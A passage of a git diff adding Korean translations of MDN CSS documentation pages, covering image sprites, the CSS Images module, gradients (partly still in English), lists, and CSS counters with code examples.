이것은 중첩된 아이템을 그리드의 일부분인 것처럼 작용하게 하는 방법으로 사용될 수 있으며, 또한 서브 그리드가 구현된다면 해결될 수 있는 문제를 피해 가는 방법이 될 수도 있습니다. 물론, 플랙스박스에서도 비슷하게 display: contents를 이용해서 중첩된 아이템이 플랙스 아이템처럼 작용하도록 만들 수도 있습니다.

+ +

이번 가이드에서 보셨듯이 CSS 그리드 레이아웃은 단지 여러분이 구현해 볼 수 있는 여러 기술 중 한 부분일 뿐입니다. 원하시는 다양한 효과를 얻기 위해서 다른 레이아웃 기술끼리 서로 혼합해서 사용하는 것을 두려워하지 마십시오.

+ + diff --git a/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html new file mode 100644 index 0000000000..a2ace369cf --- /dev/null +++ b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -0,0 +1,56 @@ +--- +title: CSS로 이미지 스프라이트 구현하기 +slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +tags: + - Advanced + - CSS + - CSS Image + - Graphics + - Guide + - Sprites + - Web + - 스프라이트 +translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +--- +
{{CSSRef}}
+ +

이미지 스프라이트는 여러 개의 이미지가 필요한 아주 많은 웹앱에서 사용합니다. 이미지 각각을 별도의 파일로 추가하는 대신, 이미지를 하나의 파일로 만들어서 포함하면 HTTP 요청 수가 줄기 때문에 메모리와 네트워크 사용량 측면에서 효율적입니다.

+ +
+

참고: HTTP/2를 사용할 땐 오히려 작은 요청을 여러 번 날리는 게 네트워크 사용량에 더 좋을 수도 있습니다.

+
+ +

구현

+ +

toolbtn 클래스가 부여된 모든 아이템에 어떤 이미지가 부여된다고 가정해 봅시다.

+ +
.toolbtn {
+  background: url(myfile.png);
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}
+ +

배경 이미지의 위치는 속성에 지정된 {{cssxref("url()")}} 값 다음에 x, y 2개 값으로 지정할 수도 있고, {{cssxref("background-position")}} 속성으로 지정할 수 있습니다.

+ +
#btn1 {
+  background-position: -20px 0px;
+}
+
+#btn2 {
+  background-position: -40px 0px;
+}
+ +

이 CSS 는 ID 가 'btn1' 인 엘리먼트를 왼쪽으로 20 pixel 이동시키고 ID 가 'btn2' 인 엘리먼트를 왼쪽으로 40 pixel 이동시킬 것입니다 (앞서 보인 이미지 룰에 의해 두 엘리먼트에 toolbtn 클래스가 부여됐다고 가정합시다).

+ +

비슷하게, 마우스 호버 상태를 만들 수도 있습니다.

+ +
#btn:hover {
+  background-position: <pixels shifted right>px <pixels shifted down>px;
+}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_images/index.html b/files/ko/web/css/css_images/index.html new file mode 100644 index 0000000000..99c37da296 --- /dev/null +++ b/files/ko/web/css/css_images/index.html @@ -0,0 +1,107 @@ +--- +title: CSS Images +slug: Web/CSS/CSS_Images +tags: + - CSS + - CSS Images + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Images +--- +
{{CSSRef}}
+ +

CSS Images는 사용할 수 있는 이미지의 유형({{cssxref("<image>")}} 자료형, 포함하는 URL, 그레이디언트 및 그 외의 다른 유형 이미지), 이미지의 크기 조정 방법, 그리고 이미지 및 다른 대체 콘텐츠가 각기 다른 레이아웃 모델과 상호작용하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{CSSxRef("image-orientation")}}
  • +
  • {{CSSxRef("image-rendering")}}
  • +
  • {{CSSxRef("image-resolution")}}
  • +
  • {{CSSxRef("object-fit")}}
  • +
  • {{CSSxRef("object-position")}}
  • +
+
+ +

함수

+ +
+
    +
  • {{CSSxRef("linear-gradient", "linear-gradient()")}}
  • +
  • {{CSSxRef("radial-gradient", "radial-gradient()")}}
  • +
  • {{CSSxRef("repeating-linear-gradient", "repeating-linear-gradient()")}}
  • +
  • {{CSSxRef("repeating-radial-gradient", "repeating-radial-gradient()")}}
  • +
  • {{CSSxRef("conic-gradient")}}
  • +
  • {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}
  • +
  • {{CSSxRef("url", "url()")}}
  • +
  • {{CSSxRef("element", "element()")}}
  • +
  • {{CSSxRef("_image", "image()")}}
  • +
  • {{CSSxRef("cross-fade", "cross-fade()")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<uri>")}}
  • +
+
+ +

안내서

+ +
+
CSS 그레이디언트 사용하기
+
CSS 이미지의 특정 유형인 "그레이디언트"를 소개하고, 그 사용법을 보입니다.
+
CSS에서 이미지 스프라이트 구현하기
+
다수의 이미지를 하나의 문서로 합쳐서 다운로드 요청을 절약하고 페이지 속도를 향상하는 방법을 소개합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS4 Images')}}{{Spec2('CSS4 Images')}}
{{SpecName('CSS3 Images')}}{{Spec2('CSS3 Images')}}
{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}{{Spec2('Compat')}}-webkit 접두어 달린 그러데이션 값 함수 표준화
{{SpecName('CSS3 Values', '#urls', '<url>')}}{{Spec2('CSS3 Values')}}
{{Specname('CSS2.1', 'syndata.html#uri', '<uri>')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#url', '<url>')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_images/using_css_gradients/index.html b/files/ko/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..061ef36536 --- /dev/null +++ b/files/ko/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,750 @@ +--- +title: CSS 그레이디언트 사용하기 +slug: Web/CSS/CSS_Images/Using_CSS_gradients +tags: + - Advanced + - CSS + - CSS Images + - Example + - Gradients + - Guide + - Web +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

CSS 그레이디언트는 {{cssxref("<image>")}} 자료형의 특별한 종류인 {{cssxref("<gradient>")}}로 나타내며 두 개 이상의 색 간의 점진적 전환을 표현합니다. 그레이디언트에는 선형({{cssxref("linear-gradient")}} 함수), 방사형({{cssxref("radial-gradient")}} 함수), 각진 원형({{cssxref("conic-gradient")}} 함수) 세 종류가 있으며, 각각의 변형본으로 계속해서 반복하는 {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}} 함수도 있습니다.

+ +

그레이디언트는 배경처럼 <image>를 사용하는 곳에는 어디에나 적용할 수 있습니다. 그레이디언트는 동적으로 생성하므로, 비슷한 효과를 보기 위해 래스터 이미지를 사용하는 방식을 사용하지 않아도 됩니다. 또한 브라우저가 직접 생성하므로 확대했을 때 래스터 이미지보다 좋은 품질을 보이며 크기 조절도 즉시 가능합니다.

+ +

우선 선형 그레이디언트의 소개로 시작하여, 모든 유형의 그레이디언트에서 통용되는 기능을 선형으로 설명하고, 그 후에 방사형과 각진 원형, 마지막으로 반복 그레이디언트에 대해 알아보겠습니다.

+ +

선형 그레이디언트 사용하기

+ +

선형 그레이디언트는 직선으로 진행하는 색상 무늬를 생성합니다.

+ +
+

기본 선형 그레이디언트

+ +

가장 기본적인 그레이디언트 종류를 생성하기 위해서는 두 가지의 색만 지정하면 됩니다. 각각의 색을 "색상 정지점"이라고 부릅니다. 최소 두 가지가 필요하지만, 제한 없이 원하는 만큼 추가할 수 있습니다.

+ + + +
.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('기본_선형_그레이디언트', 120, 120) }}

+
+ +
+

방향 전환

+ +

기본적으로, 선형 그레이디언트는 위에서 아래로 진행합니다. 그러나 방향을 지정함으로써 그레이디언트를 회전할 수 있습니다.

+ + + +
.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('방향_전환', 120, 120) }}

+
+ +
+

대각선 그레이디언트

+ +

그레이디언트가 한쪽 모서리에서 다른 쪽 모서리를 잇는 대각선 방향으로 진행하도록 할 수도 있습니다.

+ + + +
.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('대각선_그레이디언트', 200, 100) }}

+
+ +
+

각도 사용

+ +

더 정밀하게 방향을 지정하고 싶다면 특정 각도를 지정할 수 있습니다.

+ + + +
.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('각도_사용', 120, 120) }}

+ +

각도를 사용할 때 0deg 는 아래쪽에서 위쪽으로 진행하는 선형 그레이디언트를, 90deg 는 왼쪽에서 오른쪽으로, 등등 시계 방향으로 회전합니다. 음의 각도는 시계 반대 방향으로 회전합니다.

+ +

linear_redangles.png

+
+ +

색상 선언 & 효과 생성

+ +

All CSS gradient types are a range of position-dependent colors. The colors produced by CSS gradients can vary continuously with position, producing smooth color transitions. It is also possible to create bands of solid colors, and hard transitions between two colors. The following are valid for all gradient functions:

+ +
+

두 개보다 많은 색 사용하기

+ +

You don't have to limit yourself to two colors—you may use as many as you like! By default, colors are evenly spaced along the gradient.

+ + + +
.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+ +

{{ EmbedLiveSample('두_개보다_많은_색_사용하기', 120, 120) }}

+
+ +
+

Positioning color stops

+ +

You don't have to leave your color stops at their default positions. To fine-tune their locations, you can give each one zero, one, or two percentage or, for radial and linear gradients, absolute length values. If you specify the location as a percentage, 0% represents the starting point, while 100% represents the ending point; however, you can use values outside that range if necessary to get the effect you want. If you leave a location unspecified, the position of that particular color stop will be automatically calculated for you, with the first color stop being at 0% and the last color stop being at 100%, and any other color stops being half way between their adjacent color stops.

+ + + +
.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+
+ +

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

+
+ +
+

Creating hard lines

+ +

To create a hard line between two colors, creating a stripe instead of a gradual transition, adjacent color stops can be set to the same location. In this example, the colors share a color stop at the 50% mark, halfway through the gradient:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

+
+ +
+

Gradient hints

+ +

By default, the gradient transitions evenly from one color to the next. You can include a color-hint to move the midpoint of the transition value to a certain point along the gradient. In this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark.

+ + + +
.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

+
+ +
+

Creating color bands & stripes

+ +

To include a solid, non-transitioning color area within a gradient, include two positions for the color stop. Color stops can have two positions, which is equivalent to two consecutive color stops with the same color at different positions. The color will reach full saturation at the first color stop, maintain that saturation through to the second color stop, and transition to the adjacent color stop's color through the adjacent color stop's first position.

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

+ +

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

+ +

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

+ +

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

+
+ +
+

Controlling the progression of a gradient

+ +

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

+ + + +
.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

+
+ +

Overlaying gradients

+ +

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

+ + + +
.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+ +

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

+ +

Stacked gradients

+ +

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

+ + + +
.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+ +

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

+ +

Using radial gradients

+ +

Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

+ +

A basic radial gradient

+ +

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

+ +

Positioning radial color stops

+ +

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

+ +

Positioning the center of the gradient

+ +

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

+ +

Sizing radial gradients

+ +

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

+ +

Example: closest-side for ellipses

+ +

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

+ +

Example: farthest-corner for ellipses

+ +

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

+ +

Example: closest-side for circles

+ +

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

+ +

Stacked radial gradients

+ +

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

+ +

Using conic gradients

+ +

The conic-gradient() CSS function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating from the center). Example conic gradients include pie charts and color wheels, but they can also be used for creating checker boards and other intersting effects.

+ +

The conic-gradient syntax is similar to the radial-gradient syntax, but the color-stops are placed around a gradient arc, the circumference of a circle, rather than on the gradient line emerging from the center of the gradient, and the color-stops are percentages or degrees: absolute lengths are not valid.

+ +

In a radial gradient, the colors transition from the center of an ellipse, outward, in all directions. With conic gradients, the colors transition as as if spun around the center of a circle, starting at the top and going clockwise. Similar to radial gradients, you can position the center of the gradient. Similar to linear gradients, you can change the gradient angle.

+ +
+

A basic conic gradient

+ +

As with linear and radial gradients, all you need to create a conic gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, with the start of the gradient facing up:

+ + + +
.simple-conic {
+  background: conic-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_conic_gradient', 120, 120) }}

+
+ +
+

Positioning the conic center

+ +

Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"

+ + + +
.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_conic_center', 120, 120) }}

+
+ +
+

Changing the angle

+ +

Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"

+ + + +
.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+
+ +

{{ EmbedLiveSample('Changing_the_angle', 120, 120) }}

+
+ +

Using repeating gradients

+ +

The {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("conic-gradient")}} functions don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, and {{cssxref("repeating-conic-gradient")}} functions are available to offer this functionality.

+ +

The size of the gradient line or arc that repeats is the length between the first color stop value and the last color stop length value. If the first color stop just has a color and no color stop length, the value defaults to 0. If the last color stop has just a color and no color stop length, the value defaults to 100%. If neither is declared, the gradient line is 100% meaning the linear and conic gradients will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner. If the first color stop is declared, and the value is greater than 0, the gradient will repeat, as the size of the line or arc is the difference between the first color stop and last color stop is less than 100% or 360 degrees.

+ +
+

Repeating linear gradients

+ +

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

+
+ +
+

Multiple repeating linear gradients

+ +

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

+ +

In this case the gradient lines are 300px, 230px, and 300px long.

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

+
+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

Repeating radial gradients

+ +

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

+ +

Multiple repeating radial gradients

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

+ +

같이 보기

+ +
    +
  • Gradient functions: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}
  • +
  • Gradient-related CSS data types: {{cssxref("<gradient>")}}, {{cssxref("<image>")}}
  • +
  • Gradient-related CSS properties: {{cssxref("background")}}, {{cssxref("background-image")}}
  • +
  • CSS Gradients Patterns Gallery, by Lea Verou
  • +
  • CSS3 Gradients Library, by Estelle Weyl
  • +
  • Gradient CSS Generator
  • +
diff --git a/files/ko/web/css/css_lists_and_counters/index.html b/files/ko/web/css/css_lists_and_counters/index.html new file mode 100644 index 0000000000..7d3ecd8e4f --- /dev/null +++ b/files/ko/web/css/css_lists_and_counters/index.html @@ -0,0 +1,57 @@ +--- +title: CSS Lists and Counters +slug: Web/CSS/CSS_Lists_and_Counters +tags: + - CSS + - CSS Lists + - Overview + - Reference +translation_of: Web/CSS/CSS_Lists_and_Counters +--- +
{{CSSRef}}
+ +

CSS Lists는 리스트 배치 방법, 리스트 마커를 스타일 할 수 있는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("list-style-image")}}
  • +
  • {{cssxref("list-style-type")}}
  • +
  • {{cssxref("list-style-position")}}
  • +
  • {{cssxref("list-style")}}
  • +
+
+ +

안내서

+ +
+
일관된 리스트 들여쓰기
+
서로 다른 브라우저 사이에 일관된 들여쓰기를 이루는 법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Lists')}}{{Spec2('CSS3 Lists')}} 
{{SpecName('CSS2.1', 'generate.html')}}{{Spec2('CSS2.1')}}초기 정의
diff --git a/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..4557bc725c --- /dev/null +++ b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,148 @@ +--- +title: CSS 카운터 사용하기 +slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +tags: + - CSS + - CSS Counter Styles + - Guide + - Layout + - Reference + - Web + - 번호 + - 카운터 +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

CSS counters를 사용하면 문서에서의 위치에 따라 콘텐츠의 모양을 조정할 수 있습니다. 예를 들어, counters를 사용해 웹페이지의 제목에 자동으로 번호를 매길 수 있습니다. Counters는 요소가 몇 번이나 사용되었는지 추적하여 CSS 규칙에 따라 증가하며, 본질적으로 변수입니다.

+ +

Counters 사용하기

+ +

카운터 값 조작하기

+ +

CSS counter를 사용하려면 먼저 {{cssxref("counter-reset")}} 속성(초깃값  0)을 사용하여 초기화 해야합니다. 동일한 속성으로 값을 특정 값으로 바꿀 수도 있습니다. 초기화 된 counter의 값은 {{cssxref("counter-increment")}}에 따라 증가하거나 감소합니다. counter의 이름으로 "none", "inherit", "initial"은 사용불가합니다. 이런 이름을 사용하면 선언은 무시됩니다.

+ +

카운터 표시하기

+ +

Counter의 값은 {{cssxref("content")}} 속성에서 {{cssxref("counter()")}}나 {{cssxref("counters()")}} 함수를 사용하여 표시할 수 있습니다.

+ +

counter() 함수는 'counter(name)'와 'counter(name, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 범위에 있는 이름(name)의 가장 안쪽 counter의 값입니다. 텍스트는 지정된 서식(기본값은 십진수decimal)으로 뿌려집니다.

+ +

counters() 함수도 'counters(name, string)'나 'counters(name, string, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 모든 범위에서 지정된 이름을 가진 counters의 값으로, 바깥 쪽부터 안쪽까지 값이 주어지며 지정된 문자열로 구분됩니다. counters는 지정된 스타일(기본값은 십진수decimal)로 렌더링 됩니다.

+ +

기본 예제

+ +

여기서는 제목 앞에 숫자를 붙여봅니다.

+ +

CSS

+ +
body {
+  counter-reset: section;                     /* counter 이름을 'section'으로 지정합니다.
+                                                 초깃값은 0입니다. */
+}
+
+h3::before {
+  counter-increment: section;                 /* section의 카운터 값을 1씩 증가시킵니다. */
+  content: counter(section);                  /* section의 카운터 값을 표시합니다. */
+}
+
+ +

HTML

+ +
<h3>Introduction</h3>
+<h3>Body</h3>
+<h3>Conclusion</h3>
+ +

결과

+ +

{{EmbedLiveSample("Basic_example", "100%", 150)}}

+ +

중첩 카운터

+ +

CSS 카운터는 자식 요소 안에서 새 인스턴스를 자동으로 만들어주어 목차를 만드는데 유용합니다. {{cssxref("counters()")}} 함수를 사용해 중첩된 다른 레벨의 카운터 사이를 분리하는 글자를 지정할 수 있습니다.

+ +

중첩 카운터 예제

+ +

CSS

+ +
ol {
+  counter-reset: section;                /* ol 요소마다
+                                            이름이 section인
+                                            새 인스턴스를 생성합니다. */
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;            /* 해당 인스턴스 안에서
+                                            section 카운터 값 증가 */
+  content: counters(section, ".") " ";   /* section 카운터 값을
+                                            마침표(.)로 구분해 결합하여
+                                            표시합니다. */
+}
+
+ +

HTML

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.4.1 -->
+          <li>item</li>  <!-- 2.4.2 -->
+          <li>item</li>  <!-- 2.4.3 -->
+        </ol>
